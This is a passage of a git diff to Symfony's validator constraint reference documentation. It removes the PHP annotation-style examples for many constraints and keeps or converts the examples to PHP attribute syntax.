-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Blank
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index bf9f14b29e4..fd30933e89f 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -28,25 +28,6 @@ Configuration
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Context\ExecutionContextInterface;
-
-        class Author
-        {
-            /**
-             * @Assert\Callback
-             */
-            public function validate(ExecutionContextInterface $context, $payload)
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -178,20 +159,6 @@ You can then use the following configuration to invoke this validator:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\Callback({"Acme\Validator", "validate"})
-         */
-        class Author
-        {
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -280,8 +247,8 @@ constructor of the Callback constraint::
 
 .. warning::
 
-    Using a ``Closure`` together with annotation configuration will disable the
-    annotation cache for that class/property/method because ``Closure`` cannot
+    Using a ``Closure`` together with attribute configuration will disable the
+    attribute cache for that class/property/method because ``Closure`` cannot
     be cached. For best performance, it's recommended to use a static callback method.
 
 Options
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index b01eed6460e..59f0d048f15 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -19,24 +19,6 @@ on an object that will contain a credit card number.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\CardScheme(
-             *     schemes={"VISA"},
-             *     message="Your credit card number is invalid."
-             * )
-             */
-            protected $cardNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 365d57e4960..a4150d82d55 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -23,30 +23,6 @@ If your valid choice list is simple, you can pass them in directly via the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            const GENRES = ['fiction', 'non-fiction'];
-
-            /**
-             * @Assert\Choice({"New York", "Berlin", "Tokyo"})
-             */
-            protected $city;
-
-            /**
-             * You can also directly provide an array constant to the "choices" option in the annotation
-             *
-             * @Assert\Choice(choices=Author::GENRES, message="Choose a valid genre.")
-             */
-            protected $genre;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -152,21 +128,6 @@ constraint.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice(callback="getGenres")
-             */
-            protected $genre;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -230,21 +191,6 @@ you can pass the class name and the method as an array.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice(callback={"App\Entity\Genre", "getGenres"})
-             */
-            protected $genre;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 0ad183a9e2b..31080ab1abb 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -17,21 +17,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/NetworkSettings.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class NetworkSettings
-        {
-            /**
-             * @Assert\Cidr
-             */
-            protected $cidrNotation;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/NetworkSettings.php
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 6830dcc0956..7ad50771226 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -51,36 +51,6 @@ following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Collection(
-             *     fields = {
-             *         "personal_email" = @Assert\Email,
-             *         "short_bio" = {
-             *             @Assert\NotBlank,
-             *             @Assert\Length(
-             *                 max = 100,
-             *                 maxMessage = "Your short bio is too long!"
-             *             )
-             *         }
-             *     },
-             *     allowMissingFields = true
-             * )
-             */
-            protected $profileData = [
-                'personal_email' => '...',
-                'short_bio' => '...',
-            ];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -214,7 +184,7 @@ you can do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
+    .. code-block:: php-attributes
 
         // src/Entity/Author.php
         namespace App\Entity;
@@ -223,14 +193,17 @@ you can do the following:
 
         class Author
         {
-            /**
-             * @Assert\Collection(
-             *     fields={
-             *         "personal_email"  = @Assert\Required({@Assert\NotBlank, @Assert\Email}),
-             *         "alternate_email" = @Assert\Optional(@Assert\Email)
-             *     }
-             * )
-             */
+            #[Assert\Collection(
+                fields: [
+                    'personal_email' => new Assert\Required([
+                        new Assert\NotBlank,
+                        new Assert\Email,
+                    ]),
+                    'alternate_email' => new Assert\Optional(
+                        new Assert\Email
+                    ),
+                ],
+            )]
             protected $profileData = ['personal_email' => 'email@example.com'];
         }
 
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 2af5d157e94..695ae4f00ec 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -19,30 +19,6 @@ you can create your own named set or requirements to be reused consistently ever
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Validator/Constraints/PasswordRequirements.php
-        namespace App\Validator\Constraints;
-
-        use Symfony\Component\Validator\Constraints\Compound;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Annotation
-         */
-        class PasswordRequirements extends Compound
-        {
-            protected function getConstraints(array $options): array
-            {
-                return [
-                    new Assert\NotBlank(),
-                    new Assert\Type('string'),
-                    new Assert\Length(['min' => 12]),
-                    new Assert\NotCompromisedPassword(),
-                ];
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Validator/Constraints/PasswordRequirements.php
@@ -65,29 +41,14 @@ you can create your own named set or requirements to be reused consistently ever
             }
         }
 
-Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
-use it as an annotation/attribute in other classes. If the constraint has
+Add ``#[\Attribute]`` to the constraint class if you want to
+use it as an attribute in other classes. If the constraint has
 configuration options, define them as public properties on the constraint class.
 
 You can now use it anywhere you need it:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity\User;
-
-        use App\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\PasswordRequirements()
-             */
-            public $plainPassword;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 59c75351906..71597687931 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -18,26 +18,6 @@ you might add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Participant.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Participant
-        {
-            /**
-             * @Assert\Count(
-             *      min = 1,
-             *      max = 5,
-             *      minMessage = "You must specify at least one email",
-             *      maxMessage = "You cannot specify more than {{ limit }} emails"
-             * )
-             */
-            protected $emails = [];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Participant.php
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index b3b65638646..5a47a7cae44 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -14,21 +14,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\Country
-             */
-            protected $country;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 4d6a7cce7e2..383c112fa85 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -21,40 +21,6 @@ the named CSS colors:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Bulb.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Bulb
-        {
-            /**
-             * @Assert\CssColor
-             */
-            protected $defaultColor;
-
-            /**
-             * @Assert\CssColor(
-             *     formats = Assert\CssColor::HEX_LONG,
-             *     message = "The accent color must be a 6-character hexadecimal color."
-             * )
-             */
-            protected $accentColor;
-
-            /**
-             * @Assert\CssColor(
-             *     formats = {
-             *         Assert\CssColor::BASIC_NAMED_COLORS,
-             *         Assert\CssColor::EXTENDED_NAMED_COLORS
-             *     },
-             *     message = "The color '{{ value }}' is not a valid CSS color name."
-             * )
-             */
-            protected $currentColor;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Bulb.php
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 32e806edca0..ccf1a2928bf 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -17,21 +17,6 @@ a valid currency, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\Currency
-             */
-            protected $currency;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 8bb0ddb20e1..aad3db2faef 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -15,22 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Date
-             * @var string A "Y-m-d" formatted value
-             */
-            protected $birthday;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 66c7f83c69d..39ca4e3a5a1 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -15,22 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\DateTime
-             * @var string A "Y-m-d H:i:s" formatted value
-             */
-            protected $createdAt;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 2c1fdb4fe87..19f69414dd5 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -25,28 +25,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Item.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Item
-        {
-            /**
-             * @Assert\DivisibleBy(0.25)
-             */
-            protected $weight;
-
-            /**
-             * @Assert\DivisibleBy(
-             *     value = 5
-             * )
-             */
-            protected $quantity;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Item.php
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index f997c4e9292..7046fe4a893 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -15,23 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Email(
-             *     message = "The email '{{ value }}' is not a valid email."
-             * )
-             */
-            protected $email;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 06578c27c19..41e95947963 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -25,28 +25,6 @@ and that the ``age`` is ``20``, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\EqualTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\EqualTo(
-             *     value = 20
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 1df2fe73653..1cfa8b5a058 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -55,24 +55,6 @@ One way to accomplish this is with the Expression constraint:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BlogPost.php
-        namespace App\Model;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\Expression(
-         *     "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()",
-         *     message="If this is a tech post, the category should be either php or symfony!"
-         * )
-         */
-        class BlogPost
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BlogPost.php
@@ -152,28 +134,6 @@ more about the expression language syntax, see
 
     .. configuration-block::
 
-        .. code-block:: php-annotations
-
-            // src/Model/BlogPost.php
-            namespace App\Model;
-
-            use Symfony\Component\Validator\Constraints as Assert;
-
-            class BlogPost
-            {
-                // ...
-
-                /**
-                 * @Assert\Expression(
-                 *     "this.getCategory() in ['php', 'symfony'] or value == false",
-                 *     message="If this is a tech post, the category should be either php or symfony!"
-                 * )
-                 */
-                private $isTechnicalPost;
-
-                // ...
-            }
-
         .. code-block:: php-attributes
 
             // src/Model/BlogPost.php
@@ -306,26 +266,6 @@ type (numeric, boolean, strings, null, etc.)
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/Analysis.php
-        namespace App\Model;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Analysis
-        {
-            /**
-             * @Assert\Expression(
-             *     "value + error_margin < threshold",
-             *     values = { "error_margin": 0.25, "threshold": 1.5 }
-             * )
-             */
-            private $metric;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/Analysis.php
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 58309ed39d0..7fba9fb69fa 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -22,28 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\ExpressionLanguageSyntax
-             */
-            protected $promotion;
-
-            /**
-             * @Assert\ExpressionLanguageSyntax(
-             *     allowedVariables={"user", "shipping_centers"}
-             * )
-             */
-            protected $shippingOptions;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1eaed6075d0..8f36f2d10f5 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -56,25 +56,6 @@ below a certain file size and a valid PDF, add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\File(
-             *     maxSize = "1024k",
-             *     mimeTypes = {"application/pdf", "application/x-pdf"},
-             *     mimeTypesMessage = "Please upload a valid PDF"
-             * )
-             */
-            protected $bioFile;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 22331edd957..3695486491c 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -22,28 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\GreaterThan(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\GreaterThan(
-             *     value = 18
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -124,21 +102,6 @@ that a date must at least be the next day:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThan("today")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -196,21 +159,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThan("today UTC")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -269,21 +217,6 @@ current time:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThan("+5 hours")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 79578c5a5f7..0adb729eae7 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -21,28 +21,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\GreaterThanOrEqual(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\GreaterThanOrEqual(
-             *     value = 18
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -123,21 +101,6 @@ that a date must at least be the current day:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThanOrEqual("today")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -195,21 +158,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThanOrEqual("today UTC")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -268,21 +216,6 @@ current time:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThanOrEqual("+5 hours")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 502b3179bc7..eea851b144f 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -19,21 +19,6 @@ will contain a host name.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/ServerSettings.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class ServerSettings
-        {
-            /**
-             * @Assert\Hostname(message="The server name must be a valid hostname.")
-             */
-            protected $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/ServerSettings.php
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 50ca887b6a9..d7f5b7c4140 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -20,23 +20,6 @@ will contain an International Bank Account Number.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\Iban(
-             *     message="This is not a valid International Bank Account Number (IBAN)."
-             * )
-             */
-            protected $bankAccountNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index f5b2644e3a9..1b3c9a357e9 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -27,28 +27,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\IdenticalTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\IdenticalTo(
-             *     value = 20
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 5cb45c7e097..51f40ed8a5b 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -51,26 +51,6 @@ that it is between a certain size, add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Image(
-             *     minWidth = 200,
-             *     maxWidth = 400,
-             *     minHeight = 200,
-             *     maxHeight = 400
-             * )
-             */
-            protected $headshot;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -151,24 +131,6 @@ following code:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Image(
-             *     allowLandscape = false,
-             *     allowPortrait = false
-             * )
-             */
-            protected $headshot;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index d974f7ec79f..c3719800d1e 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -16,21 +16,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Ip
-             */
-            protected $ipAddress;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 16b57c0c398..05a1cd1c401 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -35,26 +35,6 @@ method returns **false**:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\IsFalse(
-             *     message = "You've entered an invalid state."
-             * )
-             */
-            public function isStateInvalid()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index ac9bbeac114..107ac662870 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -21,21 +21,6 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\IsNull
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index d48660036cc..f1700f599d1 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -37,26 +37,6 @@ Then you can validate this method with ``IsTrue`` as follows:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            protected $token;
-
-            /**
-             * @Assert\IsTrue(message="The token is invalid.")
-             */
-            public function isTokenValid()
-            {
-                return $this->token == $this->generateToken();
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 9ea26d0d01b..0152abdde55 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -18,24 +18,6 @@ on an object that will contain an ISBN.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Book.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Book
-        {
-            /**
-             * @Assert\Isbn(
-             *     type = "isbn10",
-             *     message = "This value is not valid."
-             * )
-             */
-            protected $isbn;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Book.php
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 309daff0e0e..8f06a003f0f 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -15,21 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/UnitAccount.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class UnitAccount
-        {
-            /**
-             * @Assert\Isin
-             */
-            protected $isin;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/UnitAccount.php
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 18587bf0165..6e934dcdc2f 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -15,21 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Journal.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Journal
-        {
-            /**
-             * @Assert\Issn
-             */
-            protected $issn;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Journal.php
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index c76c7cf3edc..1ab6ce46494 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -16,23 +16,6 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Book.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Book
-        {
-            /**
-             * @Assert\Json(
-             *     message = "You've entered an invalid Json."
-             * )
-             */
-            private $chapters;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Book.php
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index daec18d51fb..6b52d2ef6ae 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -15,21 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\Language
-             */
-            protected $preferredLanguage;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 140f804092e..d45a8c31d93 100644
--- a/reference/constraints/Length.rst
